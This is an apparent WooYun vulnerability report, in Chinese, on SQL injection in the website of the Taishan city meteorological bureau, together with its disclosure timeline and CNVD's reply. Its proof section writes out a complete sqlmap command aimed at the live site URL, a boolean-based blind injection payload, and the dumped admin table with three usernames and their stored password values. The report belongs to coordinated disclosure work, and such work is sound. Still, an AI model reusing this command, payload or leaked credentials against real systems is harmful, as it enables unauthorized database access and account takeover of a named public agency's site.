当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067623

漏洞标题:台山市气象局网站存在sql注入

相关厂商:台山市气象局

漏洞作者: 小周周

提交时间:2014-07-09 16:09

修复时间:2014-08-23 16:10

公开时间:2014-08-23 16:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-09: 细节已通知厂商并且等待厂商处理中
2014-07-14: 厂商已经确认,细节仅向厂商公开
2014-07-24: 细节向核心白帽子及相关领域专家公开
2014-08-03: 细节向普通白帽子公开
2014-08-13: 细节向实习白帽子公开
2014-08-23: 细节向公众公开

简要描述:

台山市气象局网站存在sql注入,可爆出管理员账户密码

详细说明:

台山市气象局网站存在sql注入,可爆出管理员账户密码

漏洞证明:

D:\Python27\SqlMap>sqlmap.py -u http://www.ts121.com/bszn/showinfo.asp?id=208 -D
Microsoft_Access_masterdb -T admin -C "admin,password" --dump
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:23:43
[15:23:44] [INFO] resuming back-end DBMS 'microsoft access'
[15:23:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=208 AND 8628=8628
---
[15:23:44] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[15:23:44] [ERROR] cannot retrieve column names, back-end DBMS is Access
[15:23:44] [INFO] fetching entries of column(s) 'admin, id, keyword, password' f
or table 'admin' in database 'Microsoft_Access_masterdb'
[15:23:44] [INFO] fetching number of column(s) 'admin, id, keyword, password' en
tries for table 'admin' in database 'Microsoft_Access_masterdb'
[15:23:44] [INFO] resumed: 3
[15:23:44] [INFO] fetching number of distinct values for column 'id'
[15:23:44] [INFO] resumed: 3
[15:23:44] [INFO] using column 'id' as a pivot for retrieving row data
[15:23:44] [INFO] resumed: 17
[15:23:44] [INFO] resumed: ts121
[15:23:44] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:23:44] [INFO] resumed: ?????
[15:23:44] [INFO] resumed: uu8=9=?:9;>
[15:23:44] [INFO] resumed: 23
[15:23:44] [INFO] resumed: yang
[15:23:44] [INFO] resumed: ?????
[15:23:44] [INFO] resumed: 8;48=:<=<C>BA
[15:23:44] [INFO] resumed: 24
[15:23:44] [INFO] resumed: test
[15:23:44] [INFO] resumed: ?????
[15:23:44] [INFO] resumed: 2468:<
[15:23:44] [INFO] analyzing table dump for possible password hashes
Database: Microsoft_Access_masterdb
Table: admin
[3 entries]
+----+-------+---------+---------------+
| id | admin | keyword | password |
+----+-------+---------+---------------+
| 17 | ts121 | ????? | uu8=9=?:9;> |
| 23 | yang | ????? | 8;48=:<=<C>BA |
| 24 | test | ????? | 2468:< |
+----+-------+---------+---------------+
[15:23:44] [INFO] table 'Microsoft_Access_masterdb.admin' dumped to CSV file 'C:
\Users\ZhouYu\.sqlmap\output\www.ts121.com\dump\Microsoft_Access_masterdb\admin.
csv'
[15:23:44] [INFO] fetched data logged to text files under 'C:\Users\ZhouYu\.sqlm
ap\output\www.ts121.com'
[*] shutting down at 15:23:44

修复方案:

过滤

版权声明:转载请注明来源 小周周@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-07-14 10:32

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给广东分中心,由其后续联系网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论